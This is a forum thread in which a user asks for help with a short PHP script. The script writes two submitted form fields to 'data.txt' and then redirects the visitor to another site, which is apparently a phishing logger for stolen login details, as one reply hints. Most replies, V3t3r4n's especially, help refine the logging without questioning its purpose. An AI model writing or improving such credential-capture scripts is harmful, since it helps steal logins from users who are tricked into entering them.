[t0pemie]

I want to make that .php to make write only one line in "data.txt" or make a new text file every time.
How should i do it?

<?php
header('Location: https://www.xxx.com');
$txt = "data.txt";
$fh = fopen($txt, 'w+');
if (isset($_POST['field1']) && isset($_POST['field2'])) { // check if both fields are set
$txt=$_POST['field1'].' - '.$_POST['field2'];
file_put_contents('data.txt',$txt."\n",FILE_APPEND); //log to data.txt
exit();
}
fwrite($fh,$txt); // write information to the file
fclose($fh); // close the file

?>?

[Devsoft]

Not really sure what exactly are you asking.
The PHP part MUST be above all of your HTML, and form should be in the body of the HTML.

[BrainDeadGenius]

Why are you sending login information via text file?

[gigajew]

$fileHandle = fopen(‘filename’, ‘a’);
fwrite($fileHandle, ‘new line\r\n’);
fclose($fileHandle);

[V3t3r4n]

If I understood right, you want the file to only one line every time (The most recent one)? If so, your code is fine, just take off the FILE_APPEND flag from your function, and if the file exists, it always creates a new one and overwrites the current one.

So this line:

PHP Code


<?php 
file_put_contents('data.txt',$txt."\n",FILE_APPEND); //log to data.txt 


Should look like this:

PHP Code


<?php 
file_put_contents('data.txt',$txt); //log to data.txt 


That's it!

You can read about the function here: https://secure.php.net/manual/en/functio...ntents.php, it has a section describing what each flags does, and what the function normal behavior should look like :)